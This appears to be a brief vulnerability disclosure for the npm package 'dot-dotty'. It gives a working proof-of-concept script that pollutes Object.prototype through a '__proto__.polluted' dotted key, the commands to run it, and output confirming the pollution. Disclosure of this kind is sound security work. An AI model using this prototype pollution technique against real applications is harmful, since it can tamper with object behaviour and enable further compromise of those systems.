dot-dotty
is vulnerable to Prototype Pollution
.
// poc.js
const DotDotty = require('dot-dotty')
let obj = {a: 1}
let dot = DotDotty(obj)
console.log("Before : " + {}.polluted);
dot['__proto__.polluted'] = 'Yes! Its Polluted';
console.log("After : " + {}.polluted);
npm i dot-dotty # Install affected module
node poc.js # Run the PoC
Before : undefined
After : Yes! Its Polluted